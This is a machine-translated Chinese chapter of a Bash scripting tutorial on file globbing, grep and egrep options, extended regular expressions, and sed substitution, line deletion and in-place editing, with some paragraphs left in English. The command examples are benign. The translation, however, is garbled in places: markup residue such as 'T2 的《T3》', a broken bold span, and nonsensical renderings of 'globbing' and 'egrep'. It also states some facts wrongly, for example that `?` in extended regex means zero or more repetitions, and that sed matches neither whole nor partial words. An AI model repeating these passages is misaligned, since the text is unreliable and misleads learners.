-接下来,我们使用`ls`的替代模式,这是我们呈现文件名作为参数的地方。在这种情况下,因为文件名对于每个目录都是唯一的,所以我们只看到返回的一行。 - -但是,如果我们想要所有*以* `if-`开头的*脚本*(以`.sh`结尾)呢?我们使用`if-*.sh`的球状模式。在这个模式中,`*`通配符被扩展为匹配,正如`man glob`所说,*任何字符串,包括空字符串*。 - -# 更多全球化 - -Globbing 在 Linux 中非常普遍。如果您正在处理一个处理文件的命令(在*下,一切都是文件原则*下,是大多数命令),很有可能您可以使用 globbing。为了让您对此有个印象,请考虑以下示例: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat * -eee -e2e -e e -aaa -a2a -a a -aabb -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -``` - -结合通配符 glob 模式的`cat`命令打印当前工作目录中**所有文件**的内容。在这种情况下,由于所有文件都是 ASCII 文本,这并不是一个真正的问题。如您所见,文件是一个接一个打印的;两者之间连一条空线都没有。 - -如果您`cat`一个二进制文件,您的屏幕将看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat /bin/chvt -@H!@8 @@@�888�� �� � H 88 8 �TTTDDP�td\\\llQ�tdR�td�� � /lib64/ld-linux-x86-64.so.2GNUGNU��H������)�!�@`��a*�K��9���X' Q��/9'~���C J -``` - -最坏的情况是,二进制文件包含某个字符序列,该序列会对您的 Bash shell 进行临时更改,这将使其不可用(是的,这种情况在我们身上发生过很多次)。这里的教训应该很简单:**世纪之交要小心!** - -到目前为止,我们看到的其他可以处理全局模式的命令包括`chmod`、`chown`、`mv`、`tar`、`grep`等等。也许现在最有趣的是`grep`。我们在单个文件上使用了带有`grep`的正则表达式,但是我们也可以使用 glob 来选择文件。 - -让我们来看看`grep`和 globbing 最可笑的例子:在*一切*中找到*任何东西*。 - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep .* * -grep: ..: Is a directory -character-class.txt:eee -character-class.txt:e2e -character-class.txt:e e -character-class.txt:aaa -character-class.txt:a2a -character-class.txt:a a -character-class.txt:aabb -grep-file.txt:We can use this regular file for testing grep. -grep-file.txt:Regular expressions are pretty cool -grep-file.txt:Did you ever realise that in the UK they say colour, -grep-file.txt:but in the USA they use color (and realize)! -grep-file.txt:Also, New Zealand is pretty far away. -``` - -这里,我们使用正则表达式`.*`搜索模式(任意,零次或更多次)和`*`的 glob 模式(任意文件)。如您所料,这应该匹配每个文件中的每一行。 - -当我们以这种方式使用`grep`时,它与早期的`cat *`具有几乎相同的功能。然而,当`grep`用于多个文件时,输出包括文件名(因此您知道该行在哪里找到)。 - -Make a note: a globbing pattern is always related to files, whereas a regular expression is used *inside* the files, on the actual content. Since the syntax is similar, you will probably not be too confused about this, but if you ever run into a situation where your pattern is not working as you'd expect, it would be good to take a moment and consider whether you're globbing or regexing! - -# 高级全球定位 - -基本的 globbing 主要是用通配符完成的,有时还结合了文件名的一部分。然而,正如正则表达式允许我们替换单个字符一样,globs 也是如此。 - -正则表达式通过点来实现这一点;在 globbing 模式中,使用问号: - -```sh -reader@ubuntu:~/scripts/chapter_09$ ls -l if-then-* --rw-rw-r-- 1 reader reader 448 Sep 30 20:10 if-then-else-proper.sh --rw-rw-r-- 1 reader reader 422 Sep 30 19:56 if-then-else.sh --rw-rw-r-- 1 reader reader 535 Sep 30 19:44 if-then-exit-rc-improved.sh --rw-rw-r-- 1 reader reader 556 Sep 30 19:18 if-then-exit-rc.sh --rw-rw-r-- 1 reader reader 416 Sep 30 18:51 if-then-exit.sh -reader@ubuntu:~/scripts/chapter_09$ ls -l if-then-e???.sh --rw-rw-r-- 1 reader reader 422 Sep 30 19:56 if-then-else.sh --rw-rw-r-- 1 reader reader 416 Sep 30 18:51 if-then-exit.sh -``` - -球状模式`if-then-e???.sh`现在应该自己说话了。当出现`?`时,任何字符(字母、数字、特殊字符)都是有效的替代。 - -在前面的例子中,所有三个问号都用字母代替。正如您可能已经推断的那样,正则表达式`.`字符的功能与 globbing 模式`?`字符相同:它只对一个字符有效。 - -最后,我们用于正则表达式的单括号符号也可以用在 globbing 中。一个简单的例子展示了我们如何使用`cat`: - -```sh -reader@ubuntu:/tmp$ echo ping > ping # Write the word ping to the file ping. -reader@ubuntu:/tmp$ echo pong > pong # Write the word pong to the file pong. -reader@ubuntu:/tmp$ ls -l -total 16 --rw-rw-r-- 1 reader reader 5 Oct 14 17:17 ping --rw-rw-r-- 1 reader reader 5 Oct 14 17:17 pong -reader@ubuntu:/tmp$ cat p[io]ng -ping -pong -reader@ubuntu:/tmp$ cat p[a-z]ng -ping -pong -``` - -# 禁用 globbing 和其他选项 - -尽管全球化很强大,但这也是它变得危险的原因。出于这个原因,你可能想采取激烈的措施,关闭 globbing。虽然这是可能的,但我们还没有在实践中看到。然而,对于一些工作或脚本来说,关闭 globbing 可能是一个很好的保障。 - -使用`set`命令,如手册页所述,*可以更改 Shell 选项*的值。在这种情况下,使用`-f`将关闭 globbing,当我们尝试重复前面的例子时可以看到: - -```sh -reader@ubuntu:/tmp$ cat p?ng -ping -pong -reader@ubuntu:/tmp$ set -f -reader@ubuntu:/tmp$ cat p?ng -cat: 'p?ng': No such file or directory -reader@ubuntu:/tmp$ set +f -reader@ubuntu:/tmp$ cat p?ng -ping -pong -``` - -选项通过在前面加一个减号(`-`)来关闭,通过在前面加一个加号(`+`)来打开。您可能还记得,这不是您第一次使用此功能。当我们调试 Bash 脚本时,我们不是从`bash`开始的,而是从`bash -x`开始的。 - -在这种情况下,Bash 子 Shell 在调用脚本之前执行一个`set -x`命令。如果您在当前终端中使用`set -x`,您的命令将如下所示: - -```sh -reader@ubuntu:/tmp$ cat p?ng -ping -pong -reader@ubuntu:/tmp$ set -x -reader@ubuntu:/tmp$ cat p?ng -+ cat ping pong -ping -pong -reader@ubuntu:/tmp$ set +x -+ set +x -reader@ubuntu:/tmp$ cat p?ng -ping -pong -``` - -注意,我们现在可以看到球化模式是如何解析的:从`cat p?ng`到`cat ping pong`。试着记住这个功能;如果你曾经因为不知道为什么一个剧本不能达到你的目的而感到毛骨悚然,一个简单的`set -x`可能会让一切变得不同!如果没有,你可以通过`set +x`恢复正常行为,如示例所示。 - -`set` has many interesting flags that can make your life easier. To see an overview of the capabilities of `set` in your Bash version, use the `help set` command. Because `set` is a shell builtin (which you can verify with `type set`), looking for a man page with `man set` does not work, unfortunately. - -# 将正则表达式用于 egrep 和 sed - -我们现在已经讨论了正则表达式和 globbing。正如我们所见,它们非常相似,但仍有需要注意的差异。在我们的正则表达式示例中,还有一点关于 globbing,我们已经看到了如何使用`grep`。 - -在这一部分,我们将介绍另一个命令,当与正则表达式结合时非常方便:`sed`(不要与`set`混淆)。我们将从`grep`的一些高级用途开始。 - -# 高级 grep - -我们已经讨论了`grep`改变其默认行为的几个流行选项:`--ignore-case`(`-i`)`--invert-match`(`-v`)和`--word-regexp` ( `-w`)。提醒一下,他们是这样做的: - -* `-i`允许我们不区分大小写地搜索 -* `-v`只打印*不*匹配的行,而不是匹配的行 -* `-w`仅匹配由空格和/或行锚和/或标点符号包围的完整单词 - -我们还想与您分享另外三种选择。第一个新选项`--only-matching` ( `-o`)只打印匹配的单词。如果您的搜索模式不包含任何正则表达式,这可能是一个非常无聊的选项,正如您在这个示例中看到的: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep -o 'cool' grep-file.txt -cool -``` - -它完全如你所料:它打印了你要找的单词。然而,除非你只是想确认这一点,否则它可能没那么有趣。 - -现在,如果我们在使用更有趣的搜索模式(包含正则表达式)时做同样的事情,这个选项更有意义: - -```sh -reader@ubuntu:~/scripts/chapter_10$ grep -o 'f.r' grep-file.txt -for -far -``` - -在这(简化!)例如,您实际上获得了新的信息:属于您的搜索模式的任何单词现在都会被打印出来。虽然对于如此小的文件中如此短的单词来说,这可能看起来并不令人印象深刻,但是想象一下在一个更大的文件上更复杂的搜索模式! - -这就引出了另一点:`grep`是*快*。由于采用了 Boyer-Moore 算法,`grep`即使在非常大的文件(100 MB+)中也可以非常快速地进行搜索。 - -第二个额外选项`--count` ( `-c`)不返回任何行。但是,它返回一个位数:搜索模式匹配的行数。一个很好的例子就是查看包安装的日志文件: - -```sh -reader@ubuntu:/var/log$ grep 'status installed' dpkg.log -2018-04-26 19:07:29 status installed base-passwd:amd64 3.5.44 -2018-04-26 19:07:29 status installed base-files:amd64 10.1ubuntu2 -2018-04-26 19:07:30 status installed dpkg:amd64 1.19.0.5ubuntu2 - -2018-06-30 17:59:37 status installed linux-headers-4.15.0-23:all 4.15.0-23.25 -2018-06-30 17:59:37 status installed iucode-tool:amd64 2.3.1-1 -2018-06-30 17:59:37 status installed man-db:amd64 2.8.3-2 - -2018-07-01 09:31:15 status installed distro-info-data:all 0.37ubuntu0.1 -2018-07-01 09:31:17 status installed libcurl3-gnutls:amd64 7.58.0-2ubuntu3.1 -2018-07-01 09:31:17 status installed libc-bin:amd64 2.27-3ubuntu1 -``` - -在这里的常规`grep`中,我们看到显示哪个包是在哪个日期安装的日志行。但是如果我们只是想知道*在某个日期*安装了多少个软件包呢?`--count`去救援! - -```sh -reader@ubuntu:/var/log$ grep 'status installed' dpkg.log | grep '2018-08-26' -2018-08-26 11:16:16 status installed base-files:amd64 10.1ubuntu2.2 -2018-08-26 11:16:16 status installed install-info:amd64 6.5.0.dfsg.1-2 -2018-08-26 11:16:16 status installed plymouth-theme-ubuntu-text:amd64 0.9.3-1ubuntu7 - -reader@ubuntu:/var/log$ grep 'status installed' dpkg.log | grep -c '2018-08-26' -40 -``` - -我们分两个阶段执行这个`grep`操作。第一个`grep 'status installed'`过滤掉所有与成功安装相关的线路,跳过中间步骤,如*打开*和*半配置*。 - -我们使用管道后面的替代形式`grep`(我们将在[第 12 章](12.html)、*在脚本*中使用管道和重定向 *来将另一个搜索模式与已经过滤的数据进行匹配。这第二个`grep '2018-08-26'`过滤日期。* - -现在,如果没有`-c`选项,我们会看到 40 行。如果我们对包装感到好奇,这可能是一个不错的选择,但除此之外,只打印数量比手工计算行数要好。 - -Alternatively, we could have written this as a single grep search pattern, using regular expressions. Try it yourself: `grep '2018-08-26 .* status installed' dpkg.log` (be sure to replace the date with some day on which you have run updates/installations). - -最后一个选项非常有趣,特别是对于脚本来说,就是`--quiet` ( `-q`)选项。想象一种情况,您想知道某个搜索模式是否存在于文件中。如果找到搜索模式,则删除该文件。如果没有找到搜索模式,您将把它添加到文件中。 - -如你所知,你可以用一个很好的`if-then-else`构造来完成。但是,如果您使用普通的`grep`,当您运行脚本时,您将看到终端中打印的文本。 - -这并不是什么大问题,但是一旦你的脚本变得足够大和复杂,屏幕上的大量输出会让脚本难以使用。对此,我们有`--quiet`选项。看看这个示例脚本,看看您将如何做到这一点: - -```sh -reader@ubuntu:~/scripts/chapter_10$ vim grep-then-else.sh -reader@ubuntu:~/scripts/chapter_10$ cat grep-then-else.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-16 -# Description: Use grep exit status to make decisions about file manipulation. -# Usage: ./grep-then-else.sh -##################################### - -FILE_NAME=/tmp/grep-then-else.txt - -# Touch the file; creates it if it does not exist. -touch ${FILE_NAME} - -# Check the file for the keyword. -grep -q 'keyword' ${FILE_NAME} -grep_rc=$? - -# If the file contains the keyword, remove the file. Otherwise, write -# the keyword to the file. -if [[ ${grep_rc} -eq 0 ]]; then - rm ${FILE_NAME} -else - echo 'keyword' >> ${FILE_NAME} -fi - -reader@ubuntu:~/scripts/chapter_10$ bash -x grep-then-else.sh -+ FILE_NAME=/tmp/grep-then-else.txt -+ touch /tmp/grep-then-else.txt -+ grep --quiet keyword /tmp/grep-then-else.txt -+ grep_rc='1' -+ [[ '1' -eq 0 ]] -+ echo keyword -reader@ubuntu:~/scripts/chapter_10$ bash -x grep-then-else.sh -+ FILE_NAME=/tmp/grep-then-else.txt -+ touch /tmp/grep-then-else.txt -+ grep -q keyword /tmp/grep-then-else.txt -+ grep_rc=0 -+ [[ 0 -eq 0 ]] -+ rm /tmp/grep-then-else.txt -``` - -如你所见,诀窍在于退出状态。如果`grep`找到一个或多个匹配的搜索模式,给出退出代码 0。如果`grep`没有找到任何东西,这个返回码将是 1。 - -您可以在命令行上看到这一点: - -```sh -reader@ubuntu:/var/log$ grep -q 'glgjegeg' dpkg.log -reader@ubuntu:/var/log$ echo $? -1 -reader@ubuntu:/var/log$ grep -q 'installed' dpkg.log -reader@ubuntu:/var/log$ echo $? -0 -``` - -在`grep-then-else.sh`中,我们抑制`grep`的所有输出。尽管如此,我们仍然可以实现我们想要的:脚本的每次运行都在*然后*和*否则*条件之间变化,正如我们的`bash -x`调试输出清楚地显示的那样。 - -没有`--quiet`,脚本的非调试输出如下: - -```sh -reader@ubuntu:/tmp$ bash grep-then-else.sh -reader@ubuntu:/tmp$ bash grep-then-else.sh -keyword -reader@ubuntu:/tmp$ bash grep-then-else.sh -reader@ubuntu:/tmp$ bash grep-then-else.sh -keyword -``` - -它并没有给剧本增加什么,是吗?更好的是,很多命令都有一个`--quiet`、`-q`或者等效选项。 - -编写脚本时,请始终考虑命令的输出是否相关。如果不是,您可以使用退出状态,这几乎总是有助于更干净的输出体验。 - -# 介绍白鹭 - -到目前为止,我们已经看到`grep`与改变其行为的各种选项一起使用。还有最后一个重要选项,我们想和大家分享:`--extended-regexp` ( `-E`)。正如`man grep`页面所述,这意味着*将 PATTERN 解释为扩展的正则表达式。* - -与 Linux 中的默认正则表达式相反,扩展正则表达式的搜索模式更接近于其他脚本/编程语言中的正则表达式(如果您已经有这方面的经验的话)。 - -具体来说,当使用扩展正则表达式而不是默认正则表达式时,可以使用以下构造: - -| ? | 将前一个字符*重复 0 次或更多次* | -| + | 将前一个字符*重复一次或多次* | -| {n} | 精确匹配前一个字符*n 次* | -| {n,m} | 匹配前一个字符*在 n 和 m 次之间的重复* | -| {,n} | 匹配前一个字符的重复次数 *n 次或更少* | -| {n,} | 匹配前一个字符 *n 次或更多次* | -| (xx|yy) | 交替字符,允许我们在搜索模式中找到 xx *或* yy(非常适合包含多个字符的模式,否则,`[xy]`符号就足够了) | - -As you might have seen, the man page for `grep` contains a dedicated section on regular expressions and search patterns, which you may find very convenient as a quick reference. - -现在,在我们开始使用新的 ERE 搜索模式之前,我们将看看一个*新的*命令:`egrep`。如果你试图找出它的作用,你可能会从一个`which egrep`开始,这将导致`/bin/egrep`。这可能会让你认为它是一个独立于`grep`的二进制文件,你现在已经用了很多了。 - -然而,最终,`egrep`不过是一个小小的包装脚本: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat /bin/egrep -#!/bin/sh -exec grep -E "$@" -``` - -如你所见,这只是一个 shell 脚本,但没有习惯的`.sh`扩展。它使用`exec`命令*用新的工艺图像*替换当前工艺图像。 - -您可能还记得,通常情况下,命令是在当前环境的分叉中执行的。在这种情况下,由于我们使用这个脚本来*将*(因此它被称为包装脚本的原因)包装为`egrep`,所以替换它而不是再次分叉它是有意义的。 - -`"$@"`构造也是新的:它是一个*数组*(如果你不熟悉这个术语,可以考虑一个有序的参数列表)。在这种情况下,它基本上将`egrep`收到的所有参数传递到`grep -E`中。 - -因此,如果完整的命令是`egrep -w [[:digit:]] grep-file.txt`,它将被包装并最终作为`grep -E -w [[:digit:]] grep-file.txt`执行到位。 - -在实践中,使用`egrep`还是`grep -E`并不重要。我们更喜欢使用`egrep`,所以我们可以确定我们正在处理扩展的正则表达式(因为在实践中,在我们的经验中,扩展的功能经常被使用)。然而,对于简单的搜索模式,不需要 ere。 - -我们建议您找到自己的系统来决定何时使用每个系统。 - -现在来看一些扩展正则表达式搜索模式功能的例子: - -```sh -reader@ubuntu:~/scripts/chapter_10$ egrep -w '[[:lower:]]{5}' grep-file.txt -but in the USA they use color (and realize)! -reader@ubuntu:~/scripts/chapter_10$ egrep -w '[[:lower:]]{7}' grep-file.txt -We can use this regular file for testing grep. -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -reader@ubuntu:~/scripts/chapter_10$ egrep -w '[[:alpha:]]{7}' grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -``` - -第一个命令`egrep -w [[:lower:]]{5} grep-file.txt`用小写字母向我们显示了所有正好五个字符长的单词。不要忘记这里我们需要`-w`选项,因为否则,一行中的任何五个字母也匹配,忽略单词边界(在本例中,**中的 **prett** 也匹配** y)。结果只有一个五个字母的单词:颜色。 - -接下来,我们对七个字母的单词进行同样的操作。我们现在得到了更多的结果。然而,因为我们只使用小写字母,所以我们遗漏了两个同样是七个字母长的单词:常规和新西兰。我们用`[[:alpha:]]`代替`[[:lower:]]`来解决这个问题。(我们也可以使用`-i`选项使所有内容都不区分大小写— `egrep -iw [[:lower:]]{7} grep-file.txt`)。 - -虽然这在功能上是可以接受的,但请考虑一下。在这种情况下,您将搜索不区分大小写的由 7 个小写字母组成的单词。那真的没有任何意义。在这种情况下,我们总是选择逻辑而不是功能,在这种情况下,这意味着将`[[:lower:]]`更改为`[[:alpha:]]`,而不是使用`-i`选项。 - -因此,我们知道如何搜索特定长度的单词(或行,如果省略`-w`选项)。我们现在寻找比最小或最大长度更长或更短的单词怎么样? - -这里有一个例子: - -```sh -reader@ubuntu:~/scripts/chapter_10$ egrep -w '[[:lower:]]{5,}' grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ egrep -w '[[:alpha:]]{,3}' grep-file.txt -We can use this regular file for testing grep. -Regular expressions are pretty cool -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ egrep '.{40,}' grep-file.txt -We can use this regular file for testing grep. -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -这个例子演示了边界语法。第一个命令`egrep -w '[[:lower:]]{5,}' grep-file.txt`寻找五个或更多字母的小写单词。如果您将这些结果与前面的例子进行比较,在前面的例子中,我们正在寻找正好五个字母长的单词,您现在可以看到更长的单词也是匹配的。 - -接下来,我们反转边界条件:我们只希望匹配三个字母或更少的单词。我们看到所有两个和三个字母的单词都匹配(而且,因为我们从`[[:lower:]]`切换到`[[:alpha:]]`,所以行首的 UK 和大写字母也匹配)。 - -在最后一个例子`egrep '.{40,}' grep-file.txt`中,我们去掉了`-w`,所以我们是整行匹配。我们匹配任何字符(如点所示),我们希望一行中至少有 40 个字符(如`{40,}`所示)。在这种情况下,五行中只有三行匹配(因为另外两行更短)。 - -Quoting is very important for search patterns. If you do not use quotes in your pattern, especially when using special characters, such as { and }, you will need to escape them with a backslash. This can and will lead to confusing situations, where you're staring at the screen wondering why on earth your search pattern is not working, or even throwing errors. Just remember: if you single-quote the search pattern at all times, you will have a much better chance of avoiding these frustrating situations. - -我们要展示的扩展正则表达式的最后一个概念是*交替*。这使用管道语法(不要与用于重定向的管道混淆,这将在[第 12 章](12.html)、*在脚本中使用管道和重定向*中进一步讨论)来传达*匹配 xxx 或 yyy* 的含义。 - -一个例子应该说明这一点: - -```sh -reader@ubuntu:~/scripts/chapter_10$ egrep 'f(a|o)r' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ egrep 'f[ao]r' grep-file.txt -We can use this regular file for testing grep. -Also, New Zealand is pretty far away. -reader@ubuntu:~/scripts/chapter_10$ egrep '(USA|UK)' grep-file.txt -Did you ever realise that in the UK they say colour, -but in the USA they use color (and realize)! -``` - -在单个字母不同的情况下,我们可以选择是使用扩展交替语法,还是前面讨论的括号语法。我们建议使用最简单的语法来实现这个目标,在这个例子中,就是括号语法。 - -然而,一旦我们寻找一个以上字符差异的模式,使用括号语法就变得极其复杂。在这种情况下,扩展交替语法清晰简洁,特别是因为`|`或`||`在大多数脚本/编程逻辑中代表一个`OR`构造。对于这个例子,这就像说:我想找到包含单词 USA 或单词 UK 的行。 - -因为这个语法很好地符合语义视图,所以它感觉很直观,也是可以理解的,这是我们应该在脚本中努力实现的! - -# 流编辑器 sed - -既然我们现在已经完全熟悉了正则表达式、搜索模式和(扩展的)`grep`,那么是时候转向 GNU/Linux 领域中最强大的工具之一了:`sed`。这个术语是 T2 的《T3》流《T4》编辑版《T5》的简称,它所做的正是隐含的意思:编辑流。 - -在这种情况下,一个流可以是很多东西,但一般来说,它是文本。该文本可以在一个文件中找到,但也可以从另一个进程(如`cat grep-file.txt | sed ...`)流式传输到*。在该示例中,`cat`命令的输出(等于`grep-file.txt`的内容)用作`sed`命令的输入。* - -在我们的示例中,我们将同时考虑就地文件编辑和流编辑。 - -# 流编辑 - -我们将首先使用`sed`查看实际的流编辑。流编辑允许我们做非常酷的事情:例如,我们可以改变文本中的一些单词。我们也可以删除我们不关心的某些行(例如,不包含单词 ERROR 的所有行)。 - -我们将从一个简单的例子开始,搜索并替换一行中的一个单词: - -```sh -reader@ubuntu:~/scripts/chapter_10$ echo "What a wicked sentence" -What a wicked sentence -reader@ubuntu:~/scripts/chapter_10$ echo "What a wicked sentence" | sed 's/wicked/stupid/' -What a stupid sentence -``` - -就这样,`sed`把我的肯定句变成了什么...不太积极。`sed`使用的模式(用`sed`术语来说,这只是一个*脚本*)是`s/wicked/stupid/` *。*`s`代表搜索-替换,第二个单词替换*脚本*的第一个单词。 - -观察对搜索词有多个匹配的多行会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_10$ vim search.txt -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much wood would a woodchuck chuck -if a woodchuck could chuck wood? -reader@ubuntu:~/scripts/chapter_10$ cat search.txt | sed 's/wood/stone/' -How much stone would a woodchuck chuck -if a stonechuck could chuck wood? -``` - -从这个例子中,我们可以学到两件事: - -* 默认情况下,`sed`只替换每行每个单词的第一个实例*。* -* `sed`不仅全词匹配,部分词也不匹配。 - -如果我们想替换每一行中的所有实例,该怎么办?这叫做*全局*搜索-替换,语法只是略有不同: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat search.txt | sed 's/wood/stone/g' -How much stone would a stonechuck chuck -if a stonechuck could chuck stone? -``` - -通过在`sed` *脚本*的末尾添加一个`g`,我们现在正在全局替换所有实例,而不仅仅是每行的第一个实例。 - -另一种可能是,您只想在第一行搜索替换。您可以在通过`sed`发送之前使用`head -1`仅选择该行,但这意味着您需要在之后追加其他行。 - -我们可以通过将行号放在`sed`脚本前面来选择要编辑的行,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat search.txt | sed '1s/wood/stone/' -How much stone would a woodchuck chuck -if a woodchuck could chuck wood? -reader@ubuntu:~/scripts/chapter_10$ cat search.txt | sed '1s/wood/stone/g' -How much stone would a stonechuck chuck -if a woodchuck could chuck wood? -reader@ubuntu:~/scripts/chapter_10$ cat search.txt | sed '1,2s/wood/stone/g' -How much stone would a stonechuck chuck -if a stonechuck could chuck stone? -``` - -第一个脚本`'1s/wood/stone/'`,指示`sed`将第一行*木*的第一个实例替换为*石*。下一个脚本`'1s/wood/stone/g'`,告诉`sed`将*木*的所有实例替换为*石*,但只在第一行。最后一个脚本`'1,2s/wood/stone/g'`,让`sed`替换*木*之间所有行的所有实例(包括!)`1`和`2`。 - -# 就地编辑 - -虽然*不是*大不了在我们发送到`sed`之前给`cat`一个文件,但幸运的是,我们真的不需要这么做。`sed`的用法如下:`sed [OPTION] {script-only-if-no-other-script} [input-file]`。正如你在最后看到的,有一个选择`[input-file]`。 - -我们举一个前面的例子,去掉`cat`: - -```sh -reader@ubuntu:~/scripts/chapter_10$ sed 's/wood/stone/g' search.txt -How much stone would a stonechuck chuck -if a stonechuck could chuck stone? -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much wood would a woodchuck chuck -if a woodchuck could chuck wood? -``` - -如您所见,通过使用可选的`[input-file]`参数,`sed`根据脚本处理该文件中的所有行。默认情况下,`sed`打印它处理的所有内容。在某些情况下,这会导致行被打印两次,即在使用`sed`的`print`功能时(我们稍后会看到)。 - -这个例子演示的另一件非常重要的事情是:这个语法不编辑原始文件;只改变打印到`STDOUT`的内容。有时,您会想要编辑文件本身——对于这些场景,`sed`有`--in-place` ( `-i`)选项。 - -确保你明白这个**不可逆地改变了磁盘**上的文件。而且,和 Linux 中的大多数东西一样,没有撤销按钮或回收站这样的东西! - -让我们看看如何使用`sed -i`持久化地更改文件(当然是在我们备份之后): - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much wood would a woodchuck chuck -if a woodchuck could chuck wood? -reader@ubuntu:~/scripts/chapter_10$ cp search.txt search.txt.bak -reader@ubuntu:~/scripts/chapter_10$ sed -i 's/wood/stone/g' search.txt -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much stone would a stonechuck chuck -if a stonechuck could chuck stone? -``` - -这一次,`sed`没有将处理后的文本打印到你的屏幕上,而是悄悄地改变了磁盘上的文件。由于这种情况的破坏性,我们事先创建了一个备份。但是,`sed`的`--in-place`选项也可以通过添加文件后缀来提供该功能: - -```sh -reader@ubuntu:~/scripts/chapter_10$ ls -character-class.txt error.txt grep-file.txt grep-then-else.sh search.txt search.txt.bak -reader@ubuntu:~/scripts/chapter_10$ mv search.txt.bak search.txt -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much wood would a woodchuck chuck -if a woodchuck could chuck wood? -reader@ubuntu:~/scripts/chapter_10$ sed -i'.bak' 's/wood/stone/g' search.txt -reader@ubuntu:~/scripts/chapter_10$ cat search.txt -How much stone would a stonechuck chuck -if a stonechuck could chuck stone? -reader@ubuntu:~/scripts/chapter_10$ cat search.txt.bak -How much wood would a woodchuck chuck -if a woodchuck could chuck wood? -``` - -`sed`对语法有点吝啬。如果你在`-i`和`'.bak'`之间放一个空格,你会得到奇怪的错误(这通常适用于选项有参数的命令)。在这种情况下,因为脚本定义紧随其后,所以`sed`很难区分什么是文件后缀和脚本字符串。 - -只要记住,如果你想使用这个,你需要小心这个语法! - -# 线条操作 - -`sed`的文字操控功能很棒的同时,也让我们可以操控整行。例如,我们可以通过编号删除某些行: - -```sh -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" -Hi, -this is -Patrick -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" | sed 'd' -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" | sed '1d' -this is -Patrick -``` - -通过使用`echo -e`结合换行符(`\n`),我们可以创建多行语句。`-e`在`man echo`页面上解释为*启用反斜杠转义*。通过将多行输出输入到`sed`,我们可以使用删除功能,这是一个简单使用字符`d`的脚本。 - -如果我们以行号作为前缀,例如`1d`,第一行被删除。如果我们不这样做,所有的行都会被删除,这导致我们没有输出。 - -另一种通常更有趣的可能性是删除包含某个单词的行: - -```sh -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" | sed '/Patrick/d' -Hi, -this is -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" | sed '/patrick/d' -Hi, -this is -Patrick -``` - -就像我们在`sed`的搜索替换功能中使用了一个单词匹配的脚本一样,如果有一个单词,我们也可以删除一整行。从前面的例子中可以看出,这是区分大小写的。幸运的是,如果我们想以一种不区分大小写的方式做到这一点,总会有一个解决方案。在`grep`中,这将是`-i`标志,但是对于`sed`来说,这个`-i`已经为`--in-place`功能预留了。 - -那我们怎么做呢?当然是通过使用我们的老朋友正则表达式!请参见以下示例: - -```sh -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" | sed '/[Pp]atrick/d' -Hi, -this is -reader@ubuntu:~/scripts/chapter_10$ echo -e "Hi,\nthis is \nPatrick" | sed '/.atrick/d' -Hi, -this is -``` - -虽然它不像`grep`提供的功能那样优雅,但它确实在大多数情况下完成了工作。它至少应该让你意识到这样一个事实,将正则表达式与`sed`一起使用会使整个事情更加灵活和强大。 - -和大多数事情一样,随着灵活性和能力的增加,复杂性也随之增加。但是,我们希望通过这种对正则表达式和`sed`的温和介绍,两者的结合不会感到难以管理的复杂。 - -您可能有一个更好的用例来显示一些文件,而不是从文件或流中删除行。然而,这有一个小问题:默认情况下,`sed`打印它处理的所有行。如果您给`sed`打印一行的指令(使用`p`脚本 *)* ,它将打印该行两次——一次用于脚本上的匹配,另一次用于默认打印。 - -这看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_10$ cat error.txt -Process started. -Running normally. -ERROR: TCP socket broken. -ERROR: Cannot connect to database. -Exiting process. -reader@ubuntu:~/scripts/chapter_10$ sed '/ERROR/p' error.txt -Process started. -Running normally. -ERROR: TCP socket broken. -ERROR: TCP socket broken. -ERROR: Cannot connect to database. -ERROR: Cannot connect to database. -Exiting process. -``` - -打印和删除脚本的语法类似:`'/word/d'`和`'/word/p'`。要抑制打印所有行的`sed`的默认行为,请添加一个`-n`(也称为`--quiet`或`--silent`): - -```sh -reader@ubuntu:~/scripts/chapter_10$ sed -n '/ERROR/p' error.txt -ERROR: TCP socket broken. -ERROR: Cannot connect to database. -``` - -You might have figured out that printing and deleting lines with `sed` scripts shares the same functionality as `grep` and `grep -v`. In most cases, you can choose which you prefer to use. However, some advanced functionality, like deleting lines that match, but only from the first 10 lines of a file, can only be done with `sed`. As a rule of thumb, anything that can be achieved with `grep` using a single statement should be handled with `grep`; otherwise, turn to `sed`. - 